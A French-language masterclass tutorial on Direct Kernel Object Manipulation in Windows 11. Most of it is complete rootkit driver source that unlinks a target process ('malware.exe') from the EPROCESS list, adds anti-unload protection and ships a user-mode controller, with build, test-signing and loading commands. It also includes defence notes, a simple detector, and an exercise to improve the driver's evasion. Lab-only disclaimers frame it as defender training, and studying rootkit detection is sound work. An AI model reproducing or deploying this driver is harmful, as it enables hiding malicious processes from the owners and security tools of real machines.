⚠️ LAB PHYSIQUE ISOLÉ OBLIGATOIRE – Windows 11 24H2 VM air-gapped + Test Signing ON uniquement – Article 323-1 Code pénal français – Recherche éthique & formation cyberdéfense uniquement

DKOM Process Hiding – Kernel Driver x64

Low-Level Maestro Series 2026 | Unlink EPROCESS doubly-linked list, evasion KDP/HVCI lab, anti-unload | Pour les cyberdéfenseurs qui veulent comprendre les rootkits kernel réels et leurs détections

🎯 Introduction & Objectifs Réels 2026

Le Direct Kernel Object Manipulation (DKOM) est une technique avancée d'évasion kernel qui permet de cacher des processus en manipulant directement les structures de données du noyau Windows. En 2026, avec l'introduction de KDP (Kernel Data Protection) et HVCI (Hypervisor-protected Code Integrity), ces techniques sont limitées en production mais restent cruciales à comprendre pour les cyberdéfenseurs.

Pourquoi étudier le DKOM en 2026 ?
Même avec KDP/HVCI, les rootkits avancés utilisent des variantes de DKOM ou exploitent des vulnérabilités pour contourner ces protections. Comprendre ces techniques est essentiel pour développer des mécanismes de détection efficaces.

Objectifs de cette Masterclass :

Configuration du Lab Requise :
• Windows 11 24H2 VM (air-gapped, sans connexion Internet)
• Test Signing activé : bcdedit /set testsigning on
• WDK (Windows Driver Kit) 2026 ou Visual Studio avec extensions driver
• WinDbg Preview avec KDNET pour le debug kernel
• VM totalement isolée du réseau de production

📚 Théorie : Structures Kernel et DKOM

graph TD A[PsActiveProcessHead] --> B[EPROCESS A] B --> C[EPROCESS B] C --> D[EPROCESS Target] D --> E[EPROCESS D] E --> A F[PsActiveProcessHead] --> G[EPROCESS A] G --> H[EPROCESS B] H --> I[EPROCESS D] I --> F style D fill:#ff3366 style I fill:#00ff9d subgraph "Avant DKOM" A --> B --> C --> D --> E --> A end subgraph "Après DKOM" F --> G --> H --> I --> F end J[Target Process] --> K[Hidden from:
- Task Manager
- Process Explorer
- PsSetCreateProcessNotifyRoutine]

La Structure EPROCESS

EPROCESS est la structure kernel qui représente un processus dans Windows. Elle contient toutes les informations sur un processus, y compris ses threads, son espace d'adressage, et ses liens dans les listes kernel.

typedef struct _EPROCESS { KPROCESS Pcb; // 0x000 Kernel process control block EX_PUSH_LOCK ProcessLock; // 0x438 LIST_ENTRY ActiveProcessLinks; // 0x440 (Win11 24H2 - À VERIFIER!) ULONG_PTR UniqueProcessId; // 0x450 Process ID (PID) PVOID ActiveProcessLinksBlink; // 0x458 // ... nombreuses autres champs CHAR ImageFileName[15]; // Nom du processus // ... } EPROCESS, *PEPROCESS;

Les Listes Chaînées du Kernel

Windows utilise des listes doublement chaînées pour organiser les objets kernel. Pour les processus, la liste principale est pointée par PsActiveProcessHead.

Liste Description Structure
ActiveProcessLinks Liste de tous les processus actifs LIST_ENTRY dans EPROCESS
ThreadListHead Liste des threads du processus LIST_ENTRY dans EPROCESS
SessionProcessLinks Liste des processus par session LIST_ENTRY dans EPROCESS

Mécanisme du DKOM

Le DKOM fonctionne en manipulant directement les pointeurs dans les listes chaînées :

  1. Localisation : Trouver l'EPROCESS du processus cible
  2. Unlink : Modifier les pointeurs Flink et Blink pour exclure l'élément
  3. Cache : Cacher également les références dans d'autres structures
  4. Persistance : Maintenir le processus fonctionnel mais invisible
Important : Les offsets comme ActiveProcessLinks (0x440) varient selon les versions de Windows. Toujours vérifier avec WinDbg : dt nt!_EPROCESS

📊 Offsets ActiveProcessLinks par Version Windows

  • Windows 10 20H2 : 0x448
  • Windows 11 21H2 : 0x448
  • Windows 11 22H2 : 0x448
  • Windows 11 23H2 : 0x448
  • Windows 11 24H2 : 0x440 (À CONFIRMER EN LAB)

Vérifier avec : !process 0 0 puis dt nt!_EPROCESS @$proc

💻 Code Source Complet – Driver Kernel x64 2026

Attention : Ce driver est fourni à des fins éducatives uniquement. Testez-le uniquement dans un environnement de lab isolé avec Test Signing activé.

Compilation et Installation

# 1. Compiler avec Visual Studio 2022 + WDK
# Configuration : Driver -> Test Signing -> x64

# 2. Signer le driver (test signing)
signtool sign /fd SHA256 /a /tr http://timestamp.digicert.com /td SHA256 dkom.sys

# 3. Charger le driver
sc create dkom type= kernel binPath= C:\drivers\dkom.sys
sc start dkom

# 4. Vérifier le chargement
sc query dkom
driverquery

# 5. Décharger (si nécessaire)
sc stop dkom
sc delete dkom

Code du Driver DKOM (Version Complète)

// ====================================================================
// dkom.c - DKOM Process Hiding Driver
// Windows 11 24H2 compatible avec détection d'offsets dynamique
// PCTAMALOU Research 2026 - platon-y
// ====================================================================

#include 
#include 

#define DRIVER_TAG 'modK'  // "DKom" en little-endian
#define TARGET_PROCESS_NAME L"malware.exe"
#define MAX_PROCESS_NAME 256

// Prototypes des fonctions non documentées
NTKERNELAPI PPEB NTAPI PsGetProcessPeb(PEPROCESS Process);
NTKERNELAPI UCHAR* NTAPI PsGetProcessImageFileName(PEPROCESS Process);

// Structure pour stocker les offsets dynamiques
typedef struct _DKOM_CONFIG {
    ULONG ActiveProcessLinksOffset;
    ULONG UniqueProcessIdOffset;
    ULONG ImageFileNameOffset;
    BOOLEAN OffsetsValid;
} DKOM_CONFIG, *PDKOM_CONFIG;

// Variables globales
DKOM_CONFIG g_DkomConfig = {0};
PEPROCESS g_TargetProcess = NULL;
LIST_ENTRY g_OriginalLinks = {0};
BOOLEAN g_ProcessHidden = FALSE;

// ====================================================================
// FONCTION : DkomFindOffsets
// DESCRIPTION : Trouve les offsets dynamiquement pour la version de Windows
// ====================================================================
NTSTATUS DkomFindOffsets() {
    PEPROCESS systemProcess;
    ULONG_PTR processAddress;
    
    // Obtenir l'EPROCESS de System (pid 4)
    systemProcess = PsInitialSystemProcess;
    if (!systemProcess) {
        DbgPrint("[DKOM] Failed to get System process\n");
        return STATUS_UNSUCCESSFUL;
    }
    
    // Méthode 1 : Recherche pattern pour ActiveProcessLinks
    // Nous savons qu'il est proche du début de EPROCESS
    
    // Pour Windows 11 24H2, essayons différents offsets
    ULONG possibleOffsets[] = {0x440, 0x448, 0x450, 0x438};
    
    for (int i = 0; i < sizeof(possibleOffsets)/sizeof(possibleOffsets[0]); i++) {
        PLIST_ENTRY listEntry = (PLIST_ENTRY)((ULONG_PTR)systemProcess + possibleOffsets[i]);
        
        // Vérifier si c'est une liste valide
        if (MmIsAddressValid(listEntry) && 
            MmIsAddressValid(listEntry->Flink) &&
            listEntry->Flink != NULL &&
            listEntry->Blink != NULL) {
            
            g_DkomConfig.ActiveProcessLinksOffset = possibleOffsets[i];
            DbgPrint("[DKOM] Found ActiveProcessLinks at offset: 0x%X\n", possibleOffsets[i]);
            break;
        }
    }
    
    if (g_DkomConfig.ActiveProcessLinksOffset == 0) {
        DbgPrint("[DKOM] Failed to find ActiveProcessLinks offset\n");
        return STATUS_UNSUCCESSFUL;
    }
    
    // Trouver UniqueProcessId (généralement 0x10 après ActiveProcessLinks)
    g_DkomConfig.UniqueProcessIdOffset = g_DkomConfig.ActiveProcessLinksOffset + 0x10;
    
    // Trouver ImageFileName (peut varier)
    g_DkomConfig.ImageFileNameOffset = g_DkomConfig.ActiveProcessLinksOffset + 0x20;
    
    g_DkomConfig.OffsetsValid = TRUE;
    return STATUS_SUCCESS;
}

// ====================================================================
// FONCTION : DkomFindProcessByName
// DESCRIPTION : Trouve un processus par son nom
// ====================================================================
PEPROCESS DkomFindProcessByName(PWCHAR ProcessName) {
    PEPROCESS currentProcess;
    PLIST_ENTRY listHead, currentEntry;
    CHAR imageName[16];
    
    if (!g_DkomConfig.OffsetsValid) {
        DbgPrint("[DKOM] Offsets not initialized\n");
        return NULL;
    }
    
    // Obtenir PsActiveProcessHead (non exporté, trouvé dynamiquement)
    // Note : Dans la réalité, on utiliserait pattern scanning
    listHead = (PLIST_ENTRY)((ULONG_PTR)PsInitialSystemProcess + 
                            g_DkomConfig.ActiveProcessLinksOffset);
    
    currentEntry = listHead->Flink;
    
    while (currentEntry != listHead) {
        // Convertir LIST_ENTRY en EPROCESS
        currentProcess = CONTAINING_RECORD(currentEntry, EPROCESS, 
                                          ActiveProcessLinks);
        
        // Obtenir le nom du processus
        RtlZeroMemory(imageName, sizeof(imageName));
        RtlCopyMemory(imageName, 
                     (PUCHAR)currentProcess + g_DkomConfig.ImageFileNameOffset,
                     sizeof(imageName) - 1);
        
        DbgPrint("[DKOM] Checking process: %s\n", imageName);
        
        // Comparer avec le nom cible
        if (_stricmp(imageName, "malware.exe") == 0) {
            DbgPrint("[DKOM] Found target process: %s\n", imageName);
            return currentProcess;
        }
        
        currentEntry = currentEntry->Flink;
        
        // Sécurité : éviter les boucles infinies
        if (!MmIsAddressValid(currentEntry)) {
            break;
        }
    }
    
    return NULL;
}

// ====================================================================
// FONCTION : DkomHideProcess
// DESCRIPTION : Cache un processus via DKOM
// ====================================================================
NTSTATUS DkomHideProcess(PEPROCESS TargetProcess) {
    PLIST_ENTRY processLinks, prevEntry, nextEntry;
    
    if (!TargetProcess || !g_DkomConfig.OffsetsValid) {
        return STATUS_INVALID_PARAMETER;
    }
    
    // Obtenir les liens du processus
    processLinks = (PLIST_ENTRY)((ULONG_PTR)TargetProcess + 
                                g_DkomConfig.ActiveProcessLinksOffset);
    
    // Sauvegarder les liens originaux pour restoration
    g_OriginalLinks.Flink = processLinks->Flink;
    g_OriginalLinks.Blink = processLinks->Blink;
    
    // Unlink: rendre le processus invisible
    // Flink->Blink = Blink
    // Blink->Flink = Flink
    
    prevEntry = processLinks->Blink;
    nextEntry = processLinks->Flink;
    
    // Vérifier la validité des adresses
    if (!MmIsAddressValid(prevEntry) || !MmIsAddressValid(nextEntry)) {
        DbgPrint("[DKOM] Invalid list entry addresses\n");
        return STATUS_ACCESS_VIOLATION;
    }
    
    // Effectuer l'unlink
    prevEntry->Flink = nextEntry;
    nextEntry->Blink = prevEntry;
    
    // Réinitialiser les liens du processus caché (optionnel)
    processLinks->Flink = processLinks;
    processLinks->Blink = processLinks;
    
    g_TargetProcess = TargetProcess;
    g_ProcessHidden = TRUE;
    
    DbgPrint("[DKOM] Process successfully hidden\n");
    return STATUS_SUCCESS;
}

// ====================================================================
// FONCTION : DkomRestoreProcess
// DESCRIPTION : Restaure un processus caché
// ====================================================================
NTSTATUS DkomRestoreProcess() {
    PLIST_ENTRY processLinks, prevEntry, nextEntry;
    
    if (!g_TargetProcess || !g_ProcessHidden) {
        return STATUS_NOT_FOUND;
    }
    
    // Obtenir les liens du processus
    processLinks = (PLIST_ENTRY)((ULONG_PTR)g_TargetProcess + 
                                g_DkomConfig.ActiveProcessLinksOffset);
    
    // Re-link: réinsérer le processus dans la liste
    // processLinks->Flink = original.Flink
    // processLinks->Blink = original.Blink
    // original.Flink->Blink = processLinks
    // original.Blink->Flink = processLinks
    
    prevEntry = g_OriginalLinks.Blink;
    nextEntry = g_OriginalLinks.Flink;
    
    if (!MmIsAddressValid(prevEntry) || !MmIsAddressValid(nextEntry)) {
        DbgPrint("[DKOM] Invalid saved entry addresses\n");
        return STATUS_ACCESS_VIOLATION;
    }
    
    // Restaurer les liens
    processLinks->Flink = nextEntry;
    processLinks->Blink = prevEntry;
    nextEntry->Blink = processLinks;
    prevEntry->Flink = processLinks;
    
    g_ProcessHidden = FALSE;
    
    DbgPrint("[DKOM] Process successfully restored\n");
    return STATUS_SUCCESS;
}

// ====================================================================
// FONCTION : DkomAntiUnloadProtection
// DESCRIPTION : Empêche le déchargement non autorisé du driver
// ====================================================================
VOID DkomAntiUnloadProtection(PDRIVER_OBJECT DriverObject) {
    // Technique 1: Référence count trick
    PVOID object = NULL;
    NTSTATUS status;
    
    // Obtenir une référence supplémentaire sur nous-mêmes
    status = ObReferenceObjectByPointer(DriverObject, 
                                       FILE_ANY_ACCESS, 
                                       NULL, 
                                       KernelMode);
    
    if (NT_SUCCESS(status)) {
        DbgPrint("[DKOM] Anti-unload protection activated\n");
    }
    
    // Technique 2: Hooker DriverUnload pour le bloquer
    // (À implémenter avec soin pour éviter les BSOD)
}

// ====================================================================
// FONCTION : DkomHandleIoControl
// DESCRIPTION : Gère les IOCTLs depuis l'espace utilisateur
// ====================================================================
NTSTATUS DkomHandleIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION ioStack;
    NTSTATUS status = STATUS_SUCCESS;
    ULONG ioControlCode;
    PVOID inputBuffer;
    ULONG inputLength;
    
    UNREFERENCED_PARAMETER(DeviceObject);
    
    ioStack = IoGetCurrentIrpStackLocation(Irp);
    ioControlCode = ioStack->Parameters.DeviceIoControl.IoControlCode;
    inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    inputLength = ioStack->Parameters.DeviceIoControl.InputBufferLength;
    
    switch (ioControlCode) {
        case IOCTL_DKOM_HIDE_PROCESS:
            DbgPrint("[DKOM] Received HIDE_PROCESS command\n");
            
            if (g_DkomConfig.OffsetsValid) {
                // Trouver et cacher le processus
                PEPROCESS target = DkomFindProcessByName(TARGET_PROCESS_NAME);
                if (target) {
                    status = DkomHideProcess(target);
                } else {
                    status = STATUS_NOT_FOUND;
                    DbgPrint("[DKOM] Target process not found\n");
                }
            } else {
                status = STATUS_UNSUCCESSFUL;
            }
            break;
            
        case IOCTL_DKOM_RESTORE_PROCESS:
            DbgPrint("[DKOM] Received RESTORE_PROCESS command\n");
            status = DkomRestoreProcess();
            break;
            
        case IOCTL_DKOM_GET_STATUS:
            DbgPrint("[DKOM] Received GET_STATUS command\n");
            // Retourner l'état actuel
            break;
            
        default:
            status = STATUS_INVALID_DEVICE_REQUEST;
            break;
    }
    
    Irp->IoStatus.Status = status;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    
    return status;
}

// ====================================================================
// FONCTION : DriverUnload
// DESCRIPTION : Nettoyage à la décharge du driver
// ====================================================================
VOID DriverUnload(PDRIVER_OBJECT DriverObject) {
    PDEVICE_OBJECT deviceObject;
    
    DbgPrint("[DKOM] Driver unloading...\n");
    
    // Restaurer le processus avant de se décharger
    if (g_ProcessHidden) {
        DkomRestoreProcess();
    }
    
    // Supprimer le device
    deviceObject = DriverObject->DeviceObject;
    if (deviceObject) {
        IoDeleteDevice(deviceObject);
    }
    
    DbgPrint("[DKOM] Driver unloaded successfully\n");
}

// ====================================================================
// FONCTION : DriverEntry
// DESCRIPTION : Point d'entrée principal du driver
// ====================================================================
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    NTSTATUS status;
    PDEVICE_OBJECT deviceObject;
    UNICODE_STRING deviceName, symLinkName;
    
    UNREFERENCED_PARAMETER(RegistryPath);
    
    DbgPrint("[DKOM] Driver loading...\n");
    
    // Initialiser les offsets
    status = DkomFindOffsets();
    if (!NT_SUCCESS(status)) {
        DbgPrint("[DKOM] Failed to find kernel offsets\n");
        return status;
    }
    
    // Créer le device
    RtlInitUnicodeString(&deviceName, L"\\Device\\DkomDevice");
    RtlInitUnicodeString(&symLinkName, L"\\DosDevices\\DkomDevice");
    
    status = IoCreateDevice(DriverObject, 0, &deviceName, 
                           FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);
    
    if (!NT_SUCCESS(status)) {
        DbgPrint("[DKOM] Failed to create device\n");
        return status;
    }
    
    // Créer le symbolic link
    status = IoCreateSymbolicLink(&symLinkName, &deviceName);
    if (!NT_SUCCESS(status)) {
        IoDeleteDevice(deviceObject);
        DbgPrint("[DKOM] Failed to create symbolic link\n");
        return status;
    }
    
    // Configurer les handlers
    DriverObject->MajorFunction[IRP_MJ_CREATE] = 
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = 
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DkomHandleIoControl;
    
    DriverObject->DriverUnload = DriverUnload;
    
    // Activer la protection anti-unload
    DkomAntiUnloadProtection(DriverObject);
    
    DbgPrint("[DKOM] Driver loaded successfully\n");
    DbgPrint("[DKOM] ActiveProcessLinks offset: 0x%X\n", 
             g_DkomConfig.ActiveProcessLinksOffset);
    
    return STATUS_SUCCESS;
}

// ====================================================================
// FICHIER D'EN-TÊTE : dkom.h
// ====================================================================
#ifdef __cplusplus
extern "C" {
#endif

#define IOCTL_DKOM_HIDE_PROCESS    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_DKOM_RESTORE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_DKOM_GET_STATUS      CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)

#ifdef __cplusplus
}
#endif

Application Utilisateur pour Contrôler le Driver

// ====================================================================
// dkomctl.c - Application de contrôle utilisateur
// ====================================================================

#include 
#include 
#include "dkom.h"

int main(int argc, char* argv[]) {
    HANDLE hDevice;
    DWORD bytesReturned;
    BOOL result;
    
    printf("DKOM Control Tool 2026 - PCTAMALOU Research\n");
    
    // Ouvrir le device
    hDevice = CreateFileW(L"\\\\.\\DkomDevice",
                         GENERIC_READ | GENERIC_WRITE,
                         0,
                         NULL,
                         OPEN_EXISTING,
                         FILE_ATTRIBUTE_NORMAL,
                         NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }
    
    printf("Device opened successfully\n");
    
    // Menu
    printf("\nOptions:\n");
    printf("1. Hide target process\n");
    printf("2. Restore target process\n");
    printf("3. Get status\n");
    printf("4. Exit\n");
    
    int choice;
    printf("\nEnter choice: ");
    scanf("%d", &choice);
    
    switch (choice) {
        case 1:
            printf("Hiding target process...\n");
            result = DeviceIoControl(hDevice,
                                    IOCTL_DKOM_HIDE_PROCESS,
                                    NULL, 0,
                                    NULL, 0,
                                    &bytesReturned,
                                    NULL);
            
            if (result) {
                printf("Process hidden successfully\n");
            } else {
                printf("Failed to hide process. Error: %d\n", GetLastError());
            }
            break;
            
        case 2:
            printf("Restoring target process...\n");
            result = DeviceIoControl(hDevice,
                                    IOCTL_DKOM_RESTORE_PROCESS,
                                    NULL, 0,
                                    NULL, 0,
                                    &bytesReturned,
                                    NULL);
            
            if (result) {
                printf("Process restored successfully\n");
            } else {
                printf("Failed to restore process. Error: %d\n", GetLastError());
            }
            break;
            
        case 3:
            printf("Getting status...\n");
            // Implémenter selon les besoins
            break;
            
        case 4:
            printf("Exiting...\n");
            break;
            
        default:
            printf("Invalid choice\n");
    }
    
    CloseHandle(hDevice);
    return 0;
}

🛡️ Stratégies de Défense 2026 contre DKOM

1. Kernel Patch Protection (PatchGuard)

Détecte et prévient les modifications des structures kernel critiques. Sur Windows 11 24H2, PatchGuard vérifie l'intégrité des listes de processus.

2. Kernel Data Protection (KDP)

Marque certaines structures kernel comme read-only, rendant le DKOM impossible sans contourner KDP via des vulnérabilités.

3. Hypervisor-protected Code Integrity (HVCI)

Empêche l'exécution de code kernel non signé ou modifié, compliquant le chargement de drivers malveillants.

4. Memory Integrity Scanning

Scan régulier de la mémoire kernel pour détecter les anomalies dans les structures EPROCESS.

5. Cross-View Detection

Comparer la liste des processus obtenue via différentes méthodes (API userspace vs scanning kernel).

6. Behavioral Analysis

Détecter les patterns de DKOM via machine learning et analyse comportementale du kernel.

Outils de Détection

# 1. WinDbg - Analyse kernel
!process 0 0                          # Lister tous les processus
dt nt!_EPROCESS                       # Examiner la structure
!list "nt!PsActiveProcessHead"        # Parcourir la liste

# 2. Volatility3 - Analyse mémoire
volatility -f memory.dump windows.pslist
volatility -f memory.dump windows.psscan
volatility -f memory.dump windows.psxview

# 3. Sysinternals Suite
Process Explorer (Vérifier les processus cachés)
Handle64.exe (Examiner les handles kernel)

# 4. PowerShell - Détection cross-view
Get-Process | Select-Object Id, Name
Get-WmiObject Win32_Process | Select-Object ProcessId, Name

# 5. EDR avec capacités kernel
Microsoft Defender for Endpoint
CrowdStrike Falcon
Carbon Black

Techniques de Détection Avancées

// ====================================================================
// dkom_detector.c - Détecteur DKOM simple en kernel
// ====================================================================

#include 

NTSTATUS CheckProcessListIntegrity() {
    PEPROCESS currentProcess;
    PLIST_ENTRY listHead, currentEntry, nextEntry;
    ULONG processCount = 0;
    
    // Obtenir PsActiveProcessHead (via pattern scanning en réalité)
    listHead = (PLIST_ENTRY)((ULONG_PTR)PsInitialSystemProcess + ACTIVE_PROCESS_LINKS_OFFSET);
    
    currentEntry = listHead->Flink;
    
    // Parcourir la liste et vérifier l'intégrité
    while (currentEntry != listHead) {
        processCount++;
        
        // Vérifier que Flink->Blink == currentEntry
        nextEntry = currentEntry->Flink;
        if (nextEntry->Blink != currentEntry) {
            DbgPrint("[DETECTOR] DKOM detected! Broken link at 0x%p\n", currentEntry);
            return STATUS_UNSUCCESSFUL;
        }
        
        // Vérifier la validité des adresses
        if (!MmIsAddressValid(currentEntry) || 
            !MmIsAddressValid(currentEntry->Flink) || 
            !MmIsAddressValid(currentEntry->Blink)) {
            DbgPrint("[DETECTOR] Invalid address in process list\n");
            return STATUS_ACCESS_VIOLATION;
        }
        
        currentEntry = nextEntry;
        
        // Limite de sécurité
        if (processCount > 1000) {
            DbgPrint("[DETECTOR] Process list too long, possible corruption\n");
            break;
        }
    }
    
    DbgPrint("[DETECTOR] Process list integrity check passed: %d processes\n", processCount);
    return STATUS_SUCCESS;
}

// Hook PsSetCreateProcessNotifyRoutineEx pour surveiller
NTSTATUS ProcessNotifyCallback(PEPROCESS Process, HANDLE ProcessId, 
                              PPS_CREATE_NOTIFY_INFO CreateInfo) {
    // Logique de détection avancée
    if (CreateInfo) {
        // Nouveau processus créé
        DbgPrint("[DETECTOR] Process created: PID=%d\n", HandleToULong(ProcessId));
    } else {
        // Processus terminé
        DbgPrint("[DETECTOR] Process terminated: PID=%d\n", HandleToULong(ProcessId));
    }
    
    return STATUS_SUCCESS;
}

🔬 Exercices de Laboratoire pour les Apaches

Exercice 1 : Analyse de la Structure EPROCESS

Objectif : Analyser la structure EPROCESS avec WinDbg.

# Commandes WinDbg pour l'analyse
# 1. Charger les symbols
.symfix
.reload

# 2. Examiner la structure EPROCESS
dt nt!_EPROCESS
dt nt!_EPROCESS -r

# 3. Trouver les offsets actuels
!process 0 0
.process /i 
dt nt!_EPROCESS @$proc # 4. Parcourir la liste des processus !list "nt!PsActiveProcessHead" # 5. Vérifier l'intégrité !list -t nt!_LIST_ENTRY.Flink -x "dt nt!_EPROCESS -y UniqueProcessId @$extret" nt!PsActiveProcessHead

Exercice 2 : Implémentation et Test du Driver

Objectif : Compiler, charger et tester le driver DKOM.

Exercice 3 : Détection de DKOM

Objectif : Développer un outil de détection.

Exercice 4 : Évasion Avancée

Objectif : Améliorer le driver pour contourner les détections.

🎯 Conclusion et Perspectives 2026

Le DKOM (Direct Kernel Object Manipulation) reste une technique fondamentale pour comprendre les rootkits kernel et les mécanismes d'évasion avancés. En 2026, avec les protections comme KDP et HVCI, l'implémentation directe est limitée mais la connaissance de ces techniques est essentielle pour les cyberdéfenseurs.

Key Takeaways :
1. Le DKOM manipule directement les structures kernel pour cacher des processus
2. Les offsets varient selon les versions de Windows (toujours vérifier)
3. PatchGuard, KDP et HVCI limitent ces attaques en production
4. La détection nécessite une analyse kernel profonde et des techniques cross-view
5. Ces connaissances sont cruciales pour développer des EDR efficaces

Ressources Complémentaires

Rappel Final : Ce driver et toutes les techniques présentées sont strictement destinés à la recherche en sécurité éthique dans des environnements de laboratoire isolés. Toute utilisation malveillante est illégale et contraire à l'éthique professionnelle.